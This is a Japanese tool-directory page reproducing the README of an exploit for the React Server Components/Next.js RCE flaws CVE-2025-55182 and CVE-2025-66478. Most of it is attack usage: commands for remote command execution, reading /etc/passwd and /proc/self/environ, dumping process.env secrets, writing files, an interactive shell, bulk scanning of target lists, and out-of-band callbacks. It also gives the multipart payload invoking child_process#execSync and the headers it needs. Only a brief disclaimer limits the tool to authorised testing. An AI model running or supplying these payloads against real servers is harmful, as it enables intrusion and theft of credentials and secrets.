Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/zemarkhos/cve-2025-55182-exploit-poc-scanner
脆弱性スキャナー動的分析 (サンドボックス)エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストコマンド&コントロール学習と教育レッドチーミング
ペイロード開発
GitHubzemarkhos/cve-2025-55182-exploit-poc-scanner

CVE-2025-55182-Exploit-PoC-Scanner

React Server ComponentsとNext.jsのCVE-2025-55182およびCVE-2025-66478のエクスプロイトツール。RCEガジェット、ファイル読み書き、OOBコールバック、許可されたセキュリティテスト用のインタラクティブシェルを備えています。

リポジトリを見る
2159ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 - React Server Components RCEエクスプロイト v2.0

CVE-2025-55182 および CVE-2025-66478 の脆弱性をReact Server Components (RSC) および Next.js Server Actions でテストするための包括的なセキュリティ調査ツール。

脆弱性概要

プロパティ値
CVE IDCVE-2025-55182, CVE-2025-66478
CVSSスコア10.0 (CRITICAL)
影響を受けるバージョンReact < 19.2.0, Next.js < 15.0.5
脆弱性タイプリモートコード実行 (RCE)
攻撃ベクターネットワーク

機能

  • PortSwiggerスタイルの複数の検出ペイロードによる脆弱性スキャン
  • 複数のRCEガジェット(execSync、spawnSync、vm.runInThisContextなど)
  • ブラインドRCE検証のためのOut-of-Band (OOB) コールバックテスト
  • ファイル読み書き機能
  • JavaScriptコード実行
  • 対話型シェルモード
  • マルチスレッドによる一括スキャン
  • プロキシサポート(Burp Suite互換)
  • JSON/テキスト出力形式

インストール

必要条件

root@kitploit:~
pip install requests

Pythonバージョン

  • Python 3.7以上

クイックスタート

root@kitploit:~
# Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan

# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com

# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Interactive shell
python3 exploit-custom.py -u https://target.com --shell

使用方法

コマンドライン引数

root@kitploit:~
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
                         [-H HEADER] [-t THREADS] [--timeout TIMEOUT]
                         [--check] [--detect] [--scan] [--test-all]
                         [--oob HOST] [--cmd CMD] [--gadget GADGET]
                         [--read FILE] [--write FILE CONTENT] [--js JS]
                         [--shell] [-o OUTPUT] [-q]

ターゲット選択

引数説明例
-u, --url単一ターゲットURL-u https://target.com
-l, --listURLを含むファイル-l targets.txt

スキャンモード

引数説明
--detectNext.js/RSCの使用を検出
--checkクイック脆弱性チェック(数式テスト)
--scan完全な脆弱性スキャン(PortSwiggerスタイル)
--test-allすべてのガジェットと検出ペイロードをテスト

エクスプロイト

引数説明例
--cmdシェルコマンドを実行--cmd "id"
--gadget使用するガジェットを指定--gadget execSync
--readターゲットからファイルを読み取り--read /etc/passwd
--writeターゲットにファイルを書き込み--write /tmp/test.txt "content"
--jsJavaScriptコードを実行--js "process.env"
--shell対話型シェルを起動--shell
--oobOOBコールバックホスト--oob xyz.oastify.com

接続オプション

引数説明例
-p, --proxyHTTP/HTTPSプロキシ-p http://127.0.0.1:8080
-c, --cookiesCookie文字列-c "session=abc123"
-H, --header追加ヘッダー(繰り返し可能)-H "X-Custom: value"
-t, --threads一括スキャンのスレッド数-t 20
--timeoutリクエストタイムアウト(秒)--timeout 60

出力オプション

引数説明
-o, --output結果をファイルに保存(.jsonまたは.txt)
-q, --quietバナーを非表示

スキャン例

単一ターゲット

root@kitploit:~
# Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect

# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check

# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan

# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com

一括スキャン

root@kitploit:~
# Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json

# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json

# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json

エクスプロイト例

コマンド実行

root@kitploit:~
# Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync

ファイル操作

root@kitploit:~
# Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ

# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"

JavaScript実行

root@kitploit:~
# Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"

# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"

# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"

対話型シェル

root@kitploit:~
python3 exploit-custom.py -u https://target.com --shell

シェルコマンド:

コマンド説明
<command>シェルコマンドを実行
!read <file>ファイルを読み取り
!write <file> <content>ファイルに書き込み
!js <code>JavaScriptを実行
!gadget <name>ガジェットを切り替え
exitシェルを終了

利用可能なガジェット

RCEガジェット

名前モジュールID説明
execSyncchild_process#execSync直接シェルコマンド実行
execFileSyncchild_process#execFileSyncバイナリファイルの実行
spawnSyncchild_process#spawnSync引数付きでプロセスを起動
vm_runInThisContextvm#runInThisContext現在のコンテキストでJSを実行
vm_runInNewContextvm#runInNewContextサンドボックスエスケープでJSを実行
vm_runInThisContext_globalvm#runInThisContextglobal.process経由で実行

ファイルガジェット

名前モジュールID説明
fs_readFileSyncfs#readFileSync任意のファイルを読み取り
fs_writeFileSyncfs#writeFileSync任意のファイルに書き込み

OOBガジェット

名前説明
vm_fetchfetch APIを介したHTTPリクエスト (Node 18+)
vm_httphttpモジュールを介したHTTPリクエスト

検出ペイロード (CVE-2025-66478)

--scanモードでは、以下のPortSwiggerスタイルの検出ペイロードを使用します:

ペイロード説明
property_referenceコロン区切りのプロパティ参照 ["$1:a:a"]
property_reference_v2代替参照 ["$1:b:b"]
property_reference_constructorプロパティ参照によるコンストラクタアクセス
property_reference_protoプロパティ参照によるプロトチェーンアクセス
action_ref_vmvm#runInThisContextを使ったACTION_REF
action_ref_execSyncchild_process#execSyncを使ったACTION_REF

OOBコールバックメソッド

このツールは複数のOOBコールバックメソッドをサポートしています:

メソッド説明
curlcurlコマンドによるHTTPリクエスト
wgetwgetコマンドによるHTTPリクエスト
nslookupDNSクエリ
pingICMP ping
fetchNode.js fetch API
httpNode.js httpモジュール

出力の解釈

ターミナルカラー

色ステータス意味
緑[VULN]脆弱 - RCE確認
黄[PATCH]パッチ適用済み - Server Actionsは有効だが保護されている
青[RSC]Server Actions検出
シアン[NEXT]Next.js検出
赤[ERR]接続エラー

スキャン結果

root@kitploit:~
[VULN] property_reference          Vulnerable pattern detected!
        -> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2       HTTP 200
[500]  action_ref_vm               digest:12345

技術的詳細

RSC Flightフォーマット

このツールはReact Server Componentsの"flight format"レスポンスを解析します:

root@kitploit:~
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}

マルチパートペイロード構造

root@kitploit:~
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--

必要なHTTPヘッダー

root@kitploit:~
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]

パッチ適用済みバージョン

React

  • 19.0.1, 19.1.2, 19.2.1

Next.js

  • 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

使用例

バグバウンティ

root@kitploit:~
# 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt

# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json

# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com

ペネトレーションテスト

root@kitploit:~
# 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect

# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell

参考文献

  • Next.js Security Advisory - CVE-2025-66478
  • Wiz Research - CVE-2025-55182
  • PortSwigger Research

法的免責事項

このツールは許可されたセキュリティテストおよび教育目的のみで提供されます。

警告: コンピュータシステムへの不正アクセスは違法です。このツールは、所有しているシステム、またはテストする明示的な書面による許可があるシステムでのみ使用してください。

作者は、このツールの誤用または損害について責任を負いません。

ライセンス

このツールは、セキュリティ研究および許可されたペネトレーションテストのために公開されています。


Author: Ünsal Furkan Harani Version: 2.0

ツールをダウンロード